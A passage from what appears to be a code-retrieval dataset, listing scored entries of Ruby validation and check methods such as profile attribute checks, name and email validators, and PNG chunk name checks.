"docid": "c29a467a2fd25a41ce24427c10b22bfe",
"score": "0.52711874",
"text": "def profile_check(profile)\n Log.message(\"Checking #{profile.name} profile >>\")\n\n unless displayed?(FREELANCER_NAME, nil, false) || displayed?(COMPANY_NAME, nil, false)\n if displayed?(ALERT_WARNING, nil, false)\n Log.error('This freelancer`s profile is only available to Upwork customers')\n else\n Log.error('Page missing or unexpected error')\n end\n end\n\n #### Name check\n if displayed?(FREELANCER_NAME, nil, false)\n\n if get_element_text(FREELANCER_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(FREELANCER_NAME)}\")\n end\n else\n\n if get_element_text(COMPANY_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(COMPANY_NAME)}\")\n end\n end\n\n #### Title check\n if displayed?(FREELANCER_TITLE, nil, false)\n\n if get_element_text(FREELANCER_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(FREELANCER_TITLE)}\")\n end\n elsif displayed?(COMPANY_TITLE, nil, false)\n\n if get_element_text(COMPANY_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(COMPANY_TITLE)}\")\n end\n else\n\n Log.message('Profile has no title displayed')\n Log.warning('Title attribute check skipped')\n end\n\n #### Description check\n if displayed?(FREELANCER_DESCRIPTION, nil, false)\n # Short profile description without non letter characters\n expected_text = profile.description.gsub(/\\W+/, '')\n\n # Full profile description without non letter characters and cut to expected text length\n actual_text = get_element_text(FREELANCER_DESCRIPTION).gsub(/\\W+/, '')[0..(expected_text.length - 1)]\n\n if actual_text.include?(expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(FREELANCER_DESCRIPTION)}\")\n end\n elsif displayed?(COMPANY_DESCRIPTION, nil, false)\n # Short profile description without non letter characters\n expected_text = profile.description.gsub(/\\W+/, '')\n\n # Full profile description without non letter characters and cut to expected text length\n actual_text = get_element_text(COMPANY_DESCRIPTION).gsub(/\\W+/, '')[0..(expected_text.length - 1)]\n\n if actual_text.include?(expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(COMPANY_DESCRIPTION)}\")\n end\n else\n\n if 'No description'.include?(profile.description)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: No description\")\n end\n end\n\n #### Skills check\n if displayed?(FREELANCER_SKILLS, nil, false)\n # Expected profile skills sorted by name ASC\n expected_skills = profile.skills.sort.to_s\n\n # Actual profile skills sorted by name ASC and trimmed\n actual_skills = get_elements_text(FREELANCER_SKILLS).each(&:strip!).sort.to_s\n\n if actual_skills.include?(expected_skills)\n Log.message('Skills attribute check successful')\n else\n Log.warning(\"Skills attribute check failed\\nExpected: #{expected_skills}\\nActual: #{actual_skills}\")\n end\n else\n\n Log.message('Company profile has no skills displayed')\n Log.warning('Skills attribute check skipped')\n end\n end",
"title": ""
},
{
"docid": "e09e337cd181262e634899f5f0c912bb",
"score": "0.5266454",
"text": "def valid?\n ![\"\", \"*** REMOTE GEMS ***\"].include?(@raw_string) && name && version\n end",
"title": ""
},
{
"docid": "454677780be488cd5acc92ab37e845e0",
"score": "0.52628946",
"text": "def check!(names=[],&block)\n return enum_for(__method__) unless block\n\n # load the YARD cache\n YARD::Registry.load!\n\n # clear any statistics from last run\n @misspelled.clear\n\n FFI::Hunspell.dict(@lang) do |dict|\n # add user specified words\n @added.each { |word| dict.add(word.dup) }\n\n unless names.empty?\n names.each do |name|\n if (obj = YARD::Registry.at(name))\n spellcheck_object(obj,dict,&block)\n end\n end\n else\n YARD::Registry.each do |obj| \n spellcheck_object(obj,dict,&block)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "c374fdf35ea52929fb3197a9a945ebcf",
"score": "0.5260747",
"text": "def check!\n self.normalize!\n \n __check_coherency\n __check_id\n __check_error\n end",
"title": ""
},
{
"docid": "3de018b9853cd9967a72f392769545a5",
"score": "0.52511585",
"text": "def accept_name\n\n \t\tputs \"Enter name:\" \n \t @name=gets\n \n \tif (@name=~/^[a-z]+$/) then \n \t\t puts \"\\t\\t\\tAccepted\"\n \t\t accept_address\n \telse\n \tputs \"\\t\\t\\tThe #{@name} entered is improper PLEASE ENTER A VALID NAME\"\n \taccept_name\n \tend\n\n end",
"title": ""
},
{
"docid": "f8c305f8b9445877b5bd26ba47b6535d",
"score": "0.5248707",
"text": "def check_if_in_acbl_poy(name, has_alter_egos, alter_egos)\n check_all_names_if_has_award($acbl_poy_winners, name, has_alter_egos, alter_egos)\nend",
"title": ""
},
{
"docid": "a1faecd2a31c32fc5f0876838641498e",
"score": "0.5248595",
"text": "def private_namespace_and_team_available\n ns = Namespace.make_valid(username)\n\n if ns.nil?\n errors.add(:username, \"'#{username}' cannot be transformed into a \" \\\n \"valid namespace name\")\n elsif Namespace.exists?(name: ns)\n clar = (ns != username) ? \" (modified so it's valid)\" : \"\"\n errors.add(:username, \"cannot be used: there is already a namespace \" \\\n \"named '#{ns}'#{clar}\")\n elsif Team.exists?(name: username)\n errors.add(:username, \"cannot be used: there is already a team named \" \\\n \"like this\")\n end\n end",
"title": ""
},
{
"docid": "7b28d483211316fe0227da57d50c72ab",
"score": "0.52476454",
"text": "def validate_candidate_data(profile_info, search_info)\n validation_result = [\n validate_string(profile_info, search_info,:name),\n validate_string(profile_info, search_info,:title),\n validate_string(profile_info, search_info,:hourly_rate),\n validate_string(profile_info, search_info,:earnings),\n validate_string(profile_info, search_info,:has_badge),\n validate_string(profile_info, search_info,:success_rate),\n validate_string(profile_info, search_info,:location),\n validate_description(profile_info, search_info, :description),\n validate_empty(profile_info, search_info,:skill_list)\n ].all?\n raise('Validation failed.') unless validation_result\n puts 'Random profile validation passed.' if validation_result\n end_section\n end",
"title": ""
},
{
"docid": "f33678fba6caf925f30dff717a2e3e09",
"score": "0.5237861",
"text": "def validate_name_by_file_type\n regex = ValidationTools::FILENAME_CHARS\n error = ValidationTools::FILENAME_CHARS_ERROR\n case self.file_type\n when /(Cluster|Gene List)/\n regex = ValidationTools::OBJECT_LABELS\n error = ValidationTools::OBJECT_LABELS_ERROR\n when 'Fastq'\n if self.human_data?\n regex = ValidationTools::OBJECT_LABELS\n error = ValidationTools::OBJECT_LABELS_ERROR\n end\n end\n if self.name !~ regex\n errors.add(:name, error)\n end\n end",
"title": ""
},
{
"docid": "f33678fba6caf925f30dff717a2e3e09",
"score": "0.5237861",
"text": "def validate_name_by_file_type\n regex = ValidationTools::FILENAME_CHARS\n error = ValidationTools::FILENAME_CHARS_ERROR\n case self.file_type\n when /(Cluster|Gene List)/\n regex = ValidationTools::OBJECT_LABELS\n error = ValidationTools::OBJECT_LABELS_ERROR\n when 'Fastq'\n if self.human_data?\n regex = ValidationTools::OBJECT_LABELS\n error = ValidationTools::OBJECT_LABELS_ERROR\n end\n end\n if self.name !~ regex\n errors.add(:name, error)\n end\n end",
"title": ""
},
{
"docid": "570000e9f99e185511b0441f3ac8492b",
"score": "0.52367705",
"text": "def check_name_integrity\n if !(/\\A[a-zA-Z]{4}\\z/ =~ type)\n raise Imgrb::Exceptions::HeaderError, \"Chunk name '#{type}' must \"\\\n \"be four ASCII letters.\"\n elsif !critical? && !Imgrb::PngMethods::chunk_type_ancillary?(type)\n raise Imgrb::Exceptions::HeaderError, \"Chunk name '#{type}' \"\\\n \"indicates that this chunk is \"\\\n \"critical, but it was \"\\\n \"expected \"\\\n \"to be ancillary. Ancillary chunks \"\\\n \"may not use uppercase for \"\\\n \"the first letter!\"\n elsif critical? && Imgrb::PngMethods::chunk_type_ancillary?(type)\n raise Imgrb::Exceptions::HeaderError, \"Chunk name '#{type}' \"\\\n \"indicates that this chunk is \"\\\n \"ancillary, but it was \"\\\n \"expected \"\\\n \"to be critical. Critical chunks \"\\\n \"must use uppercase for \"\\\n \"the first letter!\"\n elsif Imgrb::PngMethods::chunk_type_safe?(type) != safe?\n raise Imgrb::Exceptions::HeaderError, \"Chunk name '#{type}' does \"\\\n \"not match safe flag \"\\\n \"'#{safe?}'. Either change \"\\\n \"name to \"\\\n \"'#{type[0..2]<<type[3].swapcase}', \"\\\n \"or change the safety status of \"\\\n \"the chunk!\"\n elsif Imgrb::PngMethods::chunk_type_reserved?(type)\n raise Imgrb::Exceptions::HeaderError, \"Chunk name '#{type}' is \"\\\n \"reserved. The chunk name may \"\\\n \"not use lowercase for the \"\\\n \"third letter!\"\n elsif Imgrb::PngMethods::chunk_type_public?(type) != public?\n raise Imgrb::Exceptions::HeaderError, \"Chunk name '#{type} does not \"\\\n \"match private/public flag \"\\\n \"'#{public?}'. Either change name to \"\\\n \"'#{type[0]<<type[1].swapcase<<type[2..3]}' \"\\\n \"or change the private/public status \"\\\n \"of the chunk!\"\n end\n end",
"title": ""
},
{
"docid": "ab0fe1e3110952147316e66ce24ffaab",
"score": "0.52322674",
"text": "def profile_check(profile)\n Log.message(\"Checking freelancer #{profile.name} profile >>\")\n\n # Name check\n if displayed?(FREELANCER_NAME, nil, false)\n if get_element_text(FREELANCER_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(FREELANCER_NAME)}\")\n end\n else\n if get_element_text(COMPANY_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(COMPANY_NAME)}\")\n end\n end\n\n # Title check\n if displayed?(FREELANCER_TITLE, nil, false)\n if get_element_text(FREELANCER_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(FREELANCER_TITLE)}\")\n end\n elsif displayed?(COMPANY_TITLE, nil, false)\n if get_element_text(COMPANY_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(COMPANY_TITLE)}\")\n end\n else\n if 'No description'.include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: No description\\nActual: #{profile.title}\")\n end\n end\n\n # Description check\n if displayed?(FREELANCER_DESCRIPTION, nil, false)\n @expected_text = profile.description.delete(' ...')\n actual_text = get_element_text(FREELANCER_DESCRIPTION).delete(\"\\n \")[0..@expected_text.length]\n\n if actual_text.include?(@expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(FREELANCER_DESCRIPTION)}\")\n end\n else\n actual_text = get_element_text(COMPANY_DESCRIPTION).delete(\"\\n \")\n\n if actual_text.include?(@expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(COMPANY_DESCRIPTION)}\")\n end\n\n # Skills check\n if get_elements_text(FREELANCER_SKILLS).to_s.include?(profile.skills.to_s)\n Log.message('Skills attribute check successful')\n else\n Log.warning(\"Skills attribute check failed\\nExpected: #{profile.skills}\\nActual: #{get_element_text(FREELANCER_SKILLS)}\")\n end\n end\n end",
"title": ""
},
{
"docid": "d930b7465c660653096e7ea4717d0dc6",
"score": "0.5225095",
"text": "def validate\n\t # errors.add(:auther, \" can't be Kalpesh.\") if self.auther == \"Kalpesh\"\n\t errors.add_to_base(\"John can't be the auther.\") if self.auther == \"John\"\n\tend",
"title": ""
},
{
"docid": "f35874eb7de78b29daecf28c395ba97c",
"score": "0.5223959",
"text": "def additional_checks\n if loc_type == 2 && start_point && end_point && center_point then\n unless ( end_point - start_point - length ).abs < 1 then\n errors.add( :base, I18n.t( 'location_codes.msg.bad_line1' ))\n return\n end\n unless ( start_point + ( length / 2.0 ) - center_point ).abs < 1 then\n errors.add( :base, I18n.t( 'location_codes.msg.bad_line2' ))\n return\n end\n end\n unless part_of.blank? || errors.include?( :part_of_id ) then\n unless permitted_combination( loc_type, part_of.loc_type ) then\n errors.add( :base, I18n.t( 'location_codes.msg.bad_combo', p1: loc_type_label, p2: part_of.loc_type_label ))\n return\n end\n if part_of.loc_type == 2 && part_of.start_point && part_of.end_point then # check for boundaries\n if loc_type == 1 then\n check_range( center_point )\n elsif loc_type == 2 then\n check_range( center_point )\n check_range( start_point )\n check_range( end_point )\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3fedfa5d5a2ca9f049ca1d2bd94c0736",
"score": "0.5213595",
"text": "def validate_name_parts\n name_part_types.each do |type|\n next if send \"valid_#{type}?\"\n errors.add type, \"valid #{type} required\"\n end\nend",
"title": ""
},
{
"docid": "fe69a13428ac295ae1b216d4d42d6bae",
"score": "0.52135634",
"text": "def valid?\n return false if @parties.nil?\n return false if @lease_term_text.nil?\n return false if @unable_to_fully_parse_term.nil?\n return false if @register_entry.nil?\n return true\n end",
"title": ""
},
{
"docid": "d9f3acecb0d0584df420a90965d4cdc3",
"score": "0.52129847",
"text": "def is_valid?\n\t\treturn ERR_INVALID_NAME if name.blank? || name.length > NAME_MAX_LENGTH\n\n\t\treturn ERR_INVALID_FIELD if user_list.blank?\n\n\t\treturn SUCCESS\n\tend",
"title": ""
},
{
"docid": "1bd0ab0499fe6f7bdf7308b20391a020",
"score": "0.52114564",
"text": "def email_format_check(email)\n return if email.blank?\n if email.length < 5\n invalid_icon_tag + ' too short'\n else\n if User.with_email email\n invalid_icon_tag + ' taken'\n elsif !email.chomp.end_with? '.edu'\n invalid_icon_tag + ' must be an .edu address'\n else\n valid_icon_tag + ' available'\n end\n end\n end",
"title": ""
},
{
"docid": "6b5fe5226b0e9a67e73142096d8ca088",
"score": "0.520282",
"text": "def validate_patient_name\n batch = images_for_job.batch\n facility = batch.facility\n error_message = \"\"\n error_message += \"Patient Name - First/Last should be Alphanumeric, hyphen or period only!\" if $IS_PARTNER_BAC &&\n !patient_last_name.blank? && !patient_first_name.blank? &&\n (patient_last_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !patient_last_name.match(/^[A-Za-z0-9\\-\\.]*$/)) &&\n (patient_first_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !patient_first_name.match(/^[A-Za-z0-9\\-\\.]*$/))\n\n error_message += \"Patient Name - First/Last should be Alphanumeric, hyphen, space or period only!\" if !$IS_PARTNER_BAC &&\n facility.details[:patient_name_format_validation] &&\n !patient_last_name.blank? && !patient_first_name.blank? &&\n (patient_last_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !patient_last_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/)) &&\n (patient_first_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !patient_first_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/))\n \n errors.add(:base, error_message) unless error_message == \"\"\n end",
"title": ""
},
{
"docid": "10e9e79caf150c7cab72676d847d8b4b",
"score": "0.52020764",
"text": "def male_not_sue\n if first_name == 'Sue' && gender == 'male'\n errors.add(:first_name, \"Please enter a valid gender.\")\n end\n end",
"title": ""
},
{
"docid": "868de300d7c4fbfe5cf9c79d9d9bdda8",
"score": "0.5194259",
"text": "def valid?\n @errors = []\n # check thename exists and is not empty\n if name.to_s.empty?\n @errors << {message: \"Name cannot be empty.\", variable: \"name\"}\n end\n \n @errors.empty?\n end",
"title": ""
},
{
"docid": "868de300d7c4fbfe5cf9c79d9d9bdda8",
"score": "0.5194259",
"text": "def valid?\n @errors = []\n # check thename exists and is not empty\n if name.to_s.empty?\n @errors << {message: \"Name cannot be empty.\", variable: \"name\"}\n end\n \n @errors.empty?\n end",
"title": ""
},
{
"docid": "0a7d56dfc59ac2a02ca7b0eff1ce7e84",
"score": "0.51932484",
"text": "def vampire_check\r\n\r\n\tputs \"What is your name?\"\r\n\tname = gets.chomp\r\n# name check for vampire only names\r\n\tif name.downcase == \"drake cula\" || name.downcase == \"tu fang\"\r\n\t\tputs \"Definitely a vampire!\"\r\n\t\treturn\r\n\telse\r\n\t\tputs ' '\r\n\tend\r\n# age check\r\n\tputs \"How old are you?\"\r\n\tage = gets.chomp.to_i\r\n\tputs ' '\r\n# garlic allergy check\r\n\tputs \"Our company cafeteria serves garlic bread. Should we order some for you? (yes or no)\"\r\n\tgarlic_bread = gets.chomp\r\n\tputs ' '\r\n\r\n\tif garlic_bread.downcase == \"yes\"\r\n\t\tgarlic = true\r\n\telse\r\n\t\tgarlic = false\r\n\tend\r\n# immortality check\r\n\tputs \"Would you like to enroll in the copany's health insurance? (yes or no)\"\r\n\tinsure = gets.chomp\r\n\tputs ' '\r\n\r\n\tif insure.downcase == \"yes\"\r\n\t\tinsurance = true\r\n\telse\r\n\t\tinsurance = false\r\n\tend\r\n\r\n\tputs \"It is good to meet you #{name}!\"\r\n\tputs ' '\r\n# allergy check method\r\n\t$allergy = \"none\"\r\n\r\n\tdef allergy_check\r\n\t\tuntil $allergy == \"done\"\r\n\t\t\tputs \"Please list an allergy. If no other allergies please enter \\\"done\\\".\"\r\n\t\t\t$allergy = gets.chomp.downcase\r\n\t\t\tputs ' '\r\n\t\t\tif $allergy == \"sunshine\"\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\r\n\tputs \"Do you have any alergies?\"\r\n\r\n\tallergy_check\r\n# process user input\r\n\tif $allergy == \"sunshine\"\r\n\t\tputs \"Probably a vampire.\"\r\n\telsif age >= 90 && !garlic && !insurance\r\n\t\tputs \"Definitely a vampire!\"\r\n\telsif age >= 90 && !garlic || !insurance\r\n\t\tputs \"Almost certainly a vampire.\"\r\n\telsif age < 90 && !garlic || !insurance\r\n\t\tputs \"Probably a vampire.\"\r\n\telsif age < 90 && garlic && insurance\r\n\t\tputs \"Not a vampire!\"\r\n\telse\r\n\t\tputs \"Results inconclusive...\"\r\n\tend\r\n\r\nend",
"title": ""
},
{
"docid": "5ffbfed600baa4e302eee7ad982c24a8",
"score": "0.5187932",
"text": "def check_validity\r\n end",
"title": ""
},
{
"docid": "04f02afa0d489d48aa0c406e214fc5b4",
"score": "0.5186904",
"text": "def verify_contact_names(test_data)\n test_names = test_data[CoreOrgData::CONTACT_NAMES.name]\n errors = []\n test_names = [{CoreOrgData::CONTACT_NAME.name => ''}] unless test_names\n test_names.each do |test_name|\n index = test_names.index test_name\n text_values_match?(test_name[CoreOrgData::CONTACT_NAME.name], element_value(contact_name_input(index)), errors)\n end\n errors\n end",
"title": ""
},
{
"docid": "329e96b13df4e28c6c8da5fa963110d4",
"score": "0.5185669",
"text": "def validate\n\n return error_with_data(\n 'e_hc_uc_1',\n 'mandatory param email missing',\n 'mandatory param email missing',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @email.blank?\n\n\n r = validate_for_email_setup\n return r unless r.success?\n\n r = validate_list_id\n return r unless r.success?\n\n return error_with_data(\n 'e_hc_uc_2',\n 'Add contact cannot be done for clients',\n 'Add contact cannot be done for clients',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @client_id.blank? || GlobalConstant::TokenSale.st_token_sale_client_id == @client_id\n\n validate_custom_variables\n\n end",
"title": ""
},
{
"docid": "26811bd6ff42e6cbb4be1bd52fdd3b2d",
"score": "0.5179774",
"text": "def check_addresses(addresses, line_num)\n if addresses[0].length > 6 || addresses[0].match?(/[A-Za-z]/) && addresses[0] != 'SYSTEM'\n puts(\"Line #{line_num}: Invalid address #{addresses[0]}\\nBLOCKCHAIN INVALID\")\n exit 1\n elsif addresses[1].length > 6 || addresses[1].match?(/[A-Za-z]/)\n puts(\"Line #{line_num}: Invalid address #{addresses[1]}\\nBLOCKCHAIN INVALID\")\n exit 1\n end\n end",
"title": ""
},
{
"docid": "16a04eeb99b29c209f2235e39f95816b",
"score": "0.5178048",
"text": "def uf_isValid?(uf)\n if(uf.length != 2)\n false\n else\n true\n end\nend",
"title": ""
},
{
"docid": "b6e21d487c6c92889322557d9b230f60",
"score": "0.5174594",
"text": "def check_tokens(tokens)\n raise(BASICSyntaxError, 'Invalid function specification') unless\n tokens.size >= 3 && tokens[0].user_function? &&\n tokens[1].group_start? && tokens[-1].group_end?\n end",
"title": ""
},
{
"docid": "9caae3b6527fa85b6bc157e1b7325db2",
"score": "0.51707286",
"text": "def valid?\n \n \n \n \n \n \n if @name.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"active\", \"inactive\", \"deleted\"]\n if @state && !allowed_values.include?(@state)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"NEW\", \"AWAITING_CONNECTION\", \"AWAITING_FINGERPRINT\", \"AWAITING_FINGERPRINT_VERIFICATION\", \"FINGERPRINT_VERIFIED\", \"AWAITING_BOOTSTRAP\", \"ACTIVE\", \"INACTIVE\", \"RMA\", \"UNPAIRING\", \"UNPAIRED\", \"INITIALIZING\"]\n if @status_code && !allowed_values.include?(@status_code)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"ONLINE\", \"OFFLINE\"]\n if @online_status && !allowed_values.include?(@online_status)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"HARDWARE\", \"LDM\", \"CDM\", \"INVALID\"]\n if @edge_deployment_type && !allowed_values.include?(@edge_deployment_type)\n return false\n end\n \n \n \n \n \n allowed_values = [\"NONE\", \"WAIT\", \"WAIT_TIMEOUT\", \"TERMINATE\", \"COMPLETE\"]\n if @call_draining_state && !allowed_values.include?(@call_draining_state)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"title": ""
},
{
"docid": "4880b92208ea454fa0068addeca751ca",
"score": "0.5168882",
"text": "def valid?\n return false if @name.nil?\n return false if @name.to_s.length < 1\n return false if !@provider_contact_email.nil? && @provider_contact_email.to_s.length > 100\n return false if !@provider_contact_email.nil? && @provider_contact_email.to_s.length < 0\n true\n end",
"title": ""
},
{
"docid": "3f19c54ddce4c4eed20631e8558bbd70",
"score": "0.5167096",
"text": "def validate_usr(username)\n return false if username.length < 4 ||\n username.length > 16\n array = (0..9).to_a + ('a'..'z').to_a + ['_']\n username.split('').each do |ele|\n return false if !array.join.include?(ele)\n # binding.pry\n end\n true\nend",
"title": ""
},
{
"docid": "5f4c5c9f710b524be53140aa5f7aa7bc",
"score": "0.5161691",
"text": "def validate\n Rails.logger.debug('Party::validate')\n validate_name @party_name\n !errors.any?\n end",
"title": ""
},
{
"docid": "2694154a38312d272a8402ff0c47d873",
"score": "0.5157861",
"text": "def validate\n unless valid_state_uid\n unless errors.on(:firstname) or errors.on(:lastname) or errors.on(:uid)\n unless ldap_exists?(self.firstname, self.lastname, self.uid)\n errors.add(:autherror, \"your first and last name do not match the user id entered. If your think your details are correct you may have entered your user id wrong. Press previous to correct\")\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b679df39e9c642499bb94c3c9f1b3b1a",
"score": "0.5154649",
"text": "def validate_spin?(user)\n validate_readme?(user) && validate_metadata?(user) && validate_releases?\n end",
"title": ""
},
{
"docid": "6cb4bab97f037a729da5c624bbb07af4",
"score": "0.5153375",
"text": "def valid_attendee\n #puts \"USER DEVICE TOKENS #{@device_tokens}\"\n return (!@phone_number.nil? && !@phone_number.empty? )#&& !@first_name.nil? && !@first_name.empty? && !@last_name.nil? && !@last_name.empty?)\n end",
"title": ""
},
{
"docid": "822e8c41c3665f804f5633120c15ca32",
"score": "0.51521033",
"text": "def meta_check(line)\n return true if check_kick_ban(line)\n return true if check_ops(line)\n return true if check_join_part(line)\n end",
"title": ""
},
{
"docid": "1dd8b3176c092297351aca68c5c8fccc",
"score": "0.51495314",
"text": "def validate?(other_name)\n # create an array to hold potential errors\n # check conditions one by one that would be considered errors if they fail\n # if a condition fails, push an error messge onto the error array\n # After looking at all conditions, if the error array is not empty\n # output a message that contains a concatenation of all the messes in the array\n # exit with error\n\n errors = []\n errors.push(\" Missing programmer1 name\") if @name == other_name\n errors.push(\" Missing programmer1 gender\") if @gender.nil?\n errors.push(\" Missing programmer2 name\") if other_name.nil?\n if !errors.empty?\n warn \"Errors found\"\n warn errors.join(\"\\n\")\n warn \"usage: #{$PROGRAM_NAME} programmer-1-name programmer-1-gender programmer-2-name\"\n return false\n end\n return true\n end",
"title": ""
},
{
"docid": "6db77415b0542086b5c6b6e5ae1e2373",
"score": "0.51455176",
"text": "def check\n end",
"title": ""
},
{
"docid": "6db77415b0542086b5c6b6e5ae1e2373",
"score": "0.51455176",
"text": "def check\n end",
"title": ""
},
{
"docid": "869d1f3097574d169daa3df29277a398",
"score": "0.5145062",
"text": "def name?\n family_name? || given_name?\n end",
"title": ""
},
{
"docid": "df3b7f545813b34b5d04fdf4f0bbcd10",
"score": "0.51439744",
"text": "def valid?\n \n \n \n \n \n \n if @name.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @contact_list.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n if @dialing_mode.nil?\n return false\n end\n\n \n \n allowed_values = [\"agentless\", \"preview\", \"power\", \"predictive\", \"progressive\", \"external\"]\n if @dialing_mode && !allowed_values.include?(@dialing_mode)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"on\", \"stopping\", \"off\", \"complete\", \"invalid\", \"forced_off\", \"forced_stopping\"]\n if @campaign_status && !allowed_values.include?(@campaign_status)\n return false\n end\n \n \n \n \n if @phone_columns.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @caller_name.nil?\n return false\n end\n\n \n \n \n \n \n if @caller_address.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"title": ""
},
{
"docid": "747605f81a829fe4bac194c06b6aa4e6",
"score": "0.51436144",
"text": "def valid?\n @name.is_a?(String) &&\n [email protected]? &&\n (@variant.nil? || @variant.is_a?(String))\n end",
"title": ""
},
{
"docid": "531f5a2063d8b34d31d15da5ca555e74",
"score": "0.5140909",
"text": "def validate_sufficient_data\n if globalize_attribute_names.select do |k, _v|\n k.to_s.start_with?('definition')\n end.all?(&:blank?) && glosses.empty?\n errors[:base] << 'Definition or gloss must be supplied for a sense'\n end\n end",
"title": ""
},
{
"docid": "d9b05246db7468d7113f7ea41a2e56c7",
"score": "0.513478",
"text": "def check_endorsement_users\n \tif (ref_user_id == end_user_id)\n \t\terrors.add(:ref_user_id, \"cannot endorse yourself\")\n \tend\n end",
"title": ""
},
{
"docid": "0d8f8975d2f4e009881f08c77d59e109",
"score": "0.51336366",
"text": "def validate\n validate_name.merge(validate_email)\n end",
"title": ""
},
{
"docid": "af80c4cd1bac186a7eb50424739c68f9",
"score": "0.5132473",
"text": "def name_provided\n name_present = first_name.present? || last_name.present? || show_name.present?\n errors.add(:names, ', at least one name must be provided') unless name_present\n end",
"title": ""
},
{
"docid": "d269edffce86549c9971cb73103c88af",
"score": "0.5129065",
"text": "def gender_options\n input = self.gender.strip\n inList = false\n #specifically avoids plurals since we will check for that too\n allowed = Array[\"Men\",\"Male\",\"M\",\"Boy\",\"Guy\",\"Man\",\n \"Women\",\"Female\",\"F\",\"Girl\",\"Lady\",\"Ladie\",\"Woman\"]\n allowed.each do |name|\n if input.casecmp(name) == 0 || (input).casecmp(name+\"s\") == 0\n inList = true\n end\n end\n if(!inList)\n self.errors[:base] << \"Gender not recognized; please use Male or Female\"\n end\n end",
"title": ""
},
{
"docid": "8f30cdc1042a4716529ae97e415475fe",
"score": "0.5128655",
"text": "def check_for_fn_org_url(name)\n words = name.to_s.split('_')\n return false unless words.size == 3\n return words.include?(\"fn\") && words.include?(\"org\") && words.include?(\"url\")\n end",
"title": ""
},
{
"docid": "0fa43f87f821f1f1c3aa708a6aa104c3",
"score": "0.5128301",
"text": "def complete?\n last_name.present? && first_name.present? && organization_name.present?\n end",
"title": ""
},
{
"docid": "92c58b8fc6815d7b334c1b9e57e2e03b",
"score": "0.5123047",
"text": "def is_valid_name(str)\n parts = str.split(\" \")\n \n # check 1\n if parts.length < 2\n return false\n end \n\n # check 2\n if parts.length >= 2\n return true\n end\n\nend",
"title": ""
},
{
"docid": "ea208446d71b9b50979b315963a5b6ac",
"score": "0.5122601",
"text": "def name_validation\n if status != User.attending_status[:not_attending] && name.strip.blank?\n errors.add(:name, \"A name is required for all attendees.\")\n end\n end",
"title": ""
},
{
"docid": "5de760d29a6cc532c3e9d3909bb7141b",
"score": "0.5118689",
"text": "def has_not_occurred\n errors.add(\"address_line_1\", \": no P.O. Box addresses please\") if pobox?\n errors.add(\"Please pick a proper Business category\") if businessCategory?\n errors.add(\"state\",\"is not a valid state\") if validState?\n \n end",
